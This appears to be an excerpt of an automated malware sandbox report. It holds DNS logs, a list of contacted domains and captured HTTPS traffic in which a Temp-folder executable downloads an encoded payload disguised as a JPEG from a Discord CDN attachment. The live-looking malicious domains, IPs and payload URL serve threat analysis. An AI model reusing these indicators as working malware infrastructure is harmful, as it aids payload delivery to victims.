Oct 29, 2021 20:28:58.126597881 CEST	192.168.2.3	8.8.8.8	0x8ef2	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:58.314971924 CEST	192.168.2.3	8.8.8.8	0xcc1a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:58.475163937 CEST	192.168.2.3	8.8.8.8	0xfaca	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:00.795654058 CEST	192.168.2.3	8.8.8.8	0xdf2d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:00.966377974 CEST	192.168.2.3	8.8.8.8	0x6698	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:01.148121119 CEST	192.168.2.3	8.8.8.8	0xc03c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:01.309412956 CEST	192.168.2.3	8.8.8.8	0x2771	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:03.711911917 CEST	192.168.2.3	8.8.8.8	0x1cf0	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:04.133281946 CEST	192.168.2.3	8.8.8.8	0xf9cf	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:04.309887886 CEST	192.168.2.3	8.8.8.8	0x5230	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:06.642806053 CEST	192.168.2.3	8.8.8.8	0xaa6a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:06.815687895 CEST	192.168.2.3	8.8.8.8	0x576a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.008934021 CEST	192.168.2.3	8.8.8.8	0x136a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.892340899 CEST	192.168.2.3	8.8.8.8	0xa27	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:09.883174896 CEST	192.168.2.3	8.8.8.8	0x5e56	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:10.186300039 CEST	192.168.2.3	8.8.8.8	0x2ccb	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:10.886111975 CEST	192.168.2.3	8.8.8.8	0x12c5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:11.155530930 CEST	192.168.2.3	8.8.8.8	0xf1a0	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:12.671663046 CEST	192.168.2.3	8.8.8.8	0x1e1f	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:14.777261019 CEST	192.168.2.3	8.8.8.8	0xad4d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:14.975265026 CEST	192.168.2.3	8.8.8.8	0x3158	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:15.178158045 CEST	192.168.2.3	8.8.8.8	0x23ce	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:15.384227037 CEST	192.168.2.3	8.8.8.8	0x5b74	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:15.550436020 CEST	192.168.2.3	8.8.8.8	0x9abd	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:18.470989943 CEST	192.168.2.3	8.8.8.8	0x9e52	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:18.731682062 CEST	192.168.2.3	8.8.8.8	0x2f6c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:18.957324028 CEST	192.168.2.3	8.8.8.8	0xbdc6	Standard query (0)	sysaheu90.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:19.676510096 CEST	192.168.2.3	8.8.8.8	0xf8c2	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.250931025 CEST	192.168.2.3	8.8.8.8	0x9702	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.418785095 CEST	192.168.2.3	8.8.8.8	0xe401	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.596616983 CEST	192.168.2.3	8.8.8.8	0x1b80	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.791532040 CEST	192.168.2.3	8.8.8.8	0x89cf	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:23.005609989 CEST	192.168.2.3	8.8.8.8	0xe857	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:23.254939079 CEST	192.168.2.3	8.8.8.8	0xdffe	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:23.804893970 CEST	192.168.2.3	8.8.8.8	0x7587	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.194061995 CEST	192.168.2.3	8.8.8.8	0xe81c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.483756065 CEST	192.168.2.3	8.8.8.8	0xc4bf	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.831701994 CEST	192.168.2.3	8.8.8.8	0xfede	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:25.013497114 CEST	192.168.2.3	8.8.8.8	0x1a9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:25.273066044 CEST	192.168.2.3	8.8.8.8	0xfda9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:25.473617077 CEST	192.168.2.3	8.8.8.8	0xdf0e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:32.330440998 CEST	192.168.2.3	8.8.8.8	0xd22c	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:35.532401085 CEST	192.168.2.3	8.8.8.8	0xd0b0	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:38.953744888 CEST	192.168.2.3	8.8.8.8	0x8ca0	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:42.253094912 CEST	192.168.2.3	8.8.8.8	0x5d51	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:45.558854103 CEST	192.168.2.3	8.8.8.8	0x74d6	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:49.503921032 CEST	192.168.2.3	8.8.8.8	0x462a	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:49.552588940 CEST	192.168.2.3	8.8.8.8	0x5b18	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.471637011 CEST	192.168.2.3	8.8.8.8	0x3881	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.219011068 CEST	192.168.2.3	8.8.8.8	0x41b8	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.310899019 CEST	192.168.2.3	8.8.8.8	0x189	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:49.083338022 CEST	192.168.2.3	8.8.8.8	0xf852	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:49.393383980 CEST	192.168.2.3	8.8.8.8	0xb405	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 29, 2021 20:28:41.782394886 CEST	8.8.8.8	192.168.2.3	0x3231	Name error (3)	xacokuo8.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:41.828285933 CEST	8.8.8.8	192.168.2.3	0x9cba	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:42.007764101 CEST	8.8.8.8	192.168.2.3	0x64d2	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:42.537918091 CEST	8.8.8.8	192.168.2.3	0x9571	No error (0)	privacytoolzforyou-6000.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:45.920161009 CEST	8.8.8.8	192.168.2.3	0x963e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:46.128801107 CEST	8.8.8.8	192.168.2.3	0x6e26	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:57.766304970 CEST	8.8.8.8	192.168.2.3	0xc867	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:57.955117941 CEST	8.8.8.8	192.168.2.3	0xeeca	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:58.146090984 CEST	8.8.8.8	192.168.2.3	0x8ef2	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:58.334340096 CEST	8.8.8.8	192.168.2.3	0xcc1a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:58.494632959 CEST	8.8.8.8	192.168.2.3	0xfaca	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:00.814794064 CEST	8.8.8.8	192.168.2.3	0xdf2d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:00.985613108 CEST	8.8.8.8	192.168.2.3	0x6698	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:01.167325974 CEST	8.8.8.8	192.168.2.3	0xc03c	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:01.328797102 CEST	8.8.8.8	192.168.2.3	0x2771	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:03.731282949 CEST	8.8.8.8	192.168.2.3	0x1cf0	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:03.731282949 CEST	8.8.8.8	192.168.2.3	0x1cf0	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:03.731282949 CEST	8.8.8.8	192.168.2.3	0x1cf0	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:03.731282949 CEST	8.8.8.8	192.168.2.3	0x1cf0	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:03.731282949 CEST	8.8.8.8	192.168.2.3	0x1cf0	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:04.152548075 CEST	8.8.8.8	192.168.2.3	0xf9cf	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:04.329142094 CEST	8.8.8.8	192.168.2.3	0x5230	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:06.661854029 CEST	8.8.8.8	192.168.2.3	0xaa6a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:06.835438967 CEST	8.8.8.8	192.168.2.3	0x576a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.028309107 CEST	8.8.8.8	192.168.2.3	0x136a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.913829088 CEST	8.8.8.8	192.168.2.3	0xa27	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.913829088 CEST	8.8.8.8	192.168.2.3	0xa27	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.913829088 CEST	8.8.8.8	192.168.2.3	0xa27	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.913829088 CEST	8.8.8.8	192.168.2.3	0xa27	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:07.913829088 CEST	8.8.8.8	192.168.2.3	0xa27	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:09.903467894 CEST	8.8.8.8	192.168.2.3	0x5e56	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:10.205126047 CEST	8.8.8.8	192.168.2.3	0x2ccb	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:10.905566931 CEST	8.8.8.8	192.168.2.3	0x12c5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:11.174782038 CEST	8.8.8.8	192.168.2.3	0xf1a0	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:12.700990915 CEST	8.8.8.8	192.168.2.3	0x1e1f	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:14.796063900 CEST	8.8.8.8	192.168.2.3	0xad4d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:14.994440079 CEST	8.8.8.8	192.168.2.3	0x3158	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:15.197427034 CEST	8.8.8.8	192.168.2.3	0x23ce	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:15.403424978 CEST	8.8.8.8	192.168.2.3	0x5b74	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:15.570120096 CEST	8.8.8.8	192.168.2.3	0x9abd	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:18.489921093 CEST	8.8.8.8	192.168.2.3	0x9e52	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:18.751365900 CEST	8.8.8.8	192.168.2.3	0x2f6c	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:18.976843119 CEST	8.8.8.8	192.168.2.3	0xbdc6	No error (0)	sysaheu90.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:19.697580099 CEST	8.8.8.8	192.168.2.3	0xf8c2	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:19.697580099 CEST	8.8.8.8	192.168.2.3	0xf8c2	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:19.697580099 CEST	8.8.8.8	192.168.2.3	0xf8c2	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:19.697580099 CEST	8.8.8.8	192.168.2.3	0xf8c2	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:19.697580099 CEST	8.8.8.8	192.168.2.3	0xf8c2	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.269985914 CEST	8.8.8.8	192.168.2.3	0x9702	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.437674046 CEST	8.8.8.8	192.168.2.3	0xe401	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.616386890 CEST	8.8.8.8	192.168.2.3	0x1b80	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:22.811207056 CEST	8.8.8.8	192.168.2.3	0x89cf	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:23.024833918 CEST	8.8.8.8	192.168.2.3	0xe857	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:23.271843910 CEST	8.8.8.8	192.168.2.3	0xdffe	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:23.823863983 CEST	8.8.8.8	192.168.2.3	0x7587	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.210947037 CEST	8.8.8.8	192.168.2.3	0xe81c	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.503165007 CEST	8.8.8.8	192.168.2.3	0xc4bf	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.850873947 CEST	8.8.8.8	192.168.2.3	0xfede	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:25.033365011 CEST	8.8.8.8	192.168.2.3	0x1a9	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:25.291810989 CEST	8.8.8.8	192.168.2.3	0xfda9	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:25.492764950 CEST	8.8.8.8	192.168.2.3	0xdf0e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:32.347748995 CEST	8.8.8.8	192.168.2.3	0xd22c	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:35.634180069 CEST	8.8.8.8	192.168.2.3	0xd0b0	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:38.973043919 CEST	8.8.8.8	192.168.2.3	0x8ca0	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:42.272511005 CEST	8.8.8.8	192.168.2.3	0x5d51	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:45.576186895 CEST	8.8.8.8	192.168.2.3	0x74d6	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:49.522789001 CEST	8.8.8.8	192.168.2.3	0x462a	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:49.573946953 CEST	8.8.8.8	192.168.2.3	0x5b18	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:49.573946953 CEST	8.8.8.8	192.168.2.3	0x5b18	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.746279955 CEST	8.8.8.8	192.168.2.3	0x3881	No error (0)	nusurtal4f.net		45.141.84.21	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		176.123.228.234	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		186.74.208.84	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		211.119.84.112	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		189.129.196.81	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		196.200.111.5	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		91.203.174.38	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		89.46.29.238	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		151.251.30.69	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		58.124.228.242	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.394445896 CEST	8.8.8.8	192.168.2.3	0x41b8	No error (0)	znpst.top		5.163.179.4	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.330321074 CEST	8.8.8.8	192.168.2.3	0x189	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.330321074 CEST	8.8.8.8	192.168.2.3	0x189	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.330321074 CEST	8.8.8.8	192.168.2.3	0x189	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.330321074 CEST	8.8.8.8	192.168.2.3	0x189	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.330321074 CEST	8.8.8.8	192.168.2.3	0x189	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:49.100138903 CEST	8.8.8.8	192.168.2.3	0xf852	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:49.412710905 CEST	8.8.8.8	192.168.2.3	0xb405	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

mnhikj.com

hajezey1.top

bcetl.net

privacytoolzforyou-6000.top

mmcpy.net

sligutw.org

himphbmiy.net

novmckj.com

rqwpp.com

ididar.net

yyffq.com

cfbujstw.com

jphqlbmv.com

lujywddys.com

hftuogn.com

nyuewxm.org

kgvsspvx.com

juvrqxnox.com

dobetow.org

lnyvqfkgv.com

bxkmjut.net

tgcck.net

kuovgrmce.com

plfxbxgdp.com

rqvduguyi.org

cyujuvo.net

jvdvsbpg.org

tattj.org

hfyjvhbtyy.org

mjoranodkb.net

nxvrsy.org

ghvmfthgu.org

sysaheu90.top

oyggwg.com

dvoowi.net

ifglnhprd.com

oxvluliqe.net

cndlfysvgu.org

omxgygy.net

swqgaatpa.org

hgeeej.com

nnnix.com

fbwxingfx.org

uqnilqvafj.org

uxxij.com

mfupni.net

toptelete.top

nusurtal4f.net

znpst.top

91.219.236.97

mdmxj.net

193.56.146.214

mkuggmqtkl.org

fanpfs.org

ertjun.org

hxkblthegf.net

mhnxbctxee.net

htsentk.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49785	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B4BD.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:04 UTC	0	OUT	GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:29:04 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:04 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5e77a16a8ad6b1-FRA Accept-Ranges: bytes Age: 32504 Cache-Control: public, max-age=31536000 ETag: "4c1a9946a2a50a9bee099f80736b83cb" Expires: Sat, 29 Oct 2022 18:29:04 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591138366 x-goog-hash: crc32c=ewuz5A== x-goog-hash: md5=TBqZRqKlCpvuCZ+Ac2uDyw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycdvJxlr9khbKEXfSQ9n_bxglLL7dSGVIxF6rk63UtNA6boJtNKCUIT3dV9e0Gr4n6Y4UdNwOh6zGJyRPl1vLRno X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TICSPbpqawgo%2BUN5qIa4gaqRD9IhPpF80J1r8gLYpCw1sL3YYlHqwkZwU4dmqvK5w4CGvmoV7RAgmMcyQ2Qso0YeQSrx0FkzuhIokIiCEoiHGNqLSTIpWhXDydVDah%2F1cWHHMg%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:04 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:04 UTC	1	IN	Data Raw: 4f 71 4a 70 6d 57 44 45 58 4d 2d 45 45 20 4d 4f 20 71 6d 6d 20 4f 20 70 20 4f 20 4f 20 4f 20 6d 20 4f 20 4f 20 4f 20 4a 57 57 20 4a 57 57 20 4f 20 4f 20 71 58 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 44 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4a 58 20 4f 20 4f 20 4f 20 71 6d 20 70 71 20 71 58 44 20 71 6d 20 4f 20 71 58 4f 20 4d 20 4a 4f 57 20 70 70 20 71 58 6d 20 71 20 45 44 20 4a 4f 57 20 70 70 20 58 6d 20 71 4f 6d 20 71 4f 57 20 71 71 57 20 70 4a 20 71 71 4a 20 71 71 6d 20 71 71 71 20 71 4f 70 20 71 71 6d 20 4d 45 20 71 4f 4d 20 70 4a 20 4d 4d 20 4d 45 20 71 71 4f 20 71 Data Ascii: OqJpmWDEXM-EE MO qmm O p O O O m O O O JWW JWW O O qXm O O O O O O O Dm O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O qJX O O O qm pq qXD qm O qXO M JOW pp qXm q ED JOW pp Xm qOm qOW qqW pJ qqJ qqm qqq qOp qqm ME qOM pJ MM ME qqO q
2021-10-29 18:29:04 UTC	2	IN	Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4a 57 20 6d 4f 20 4a 4a 4d 20 71 4f 4d 20 71 71 57 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 6d 44 20 71 6d 70 20 57 4f 20 6d 58 20 71 70 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 Data Ascii: O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O JW mO JJM qOM qqW WO mX WO WO Xm qqm qqE qmD qmp WO mX qpX Wm Xm qqm qqE qOM qqJ WO qqJ WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX 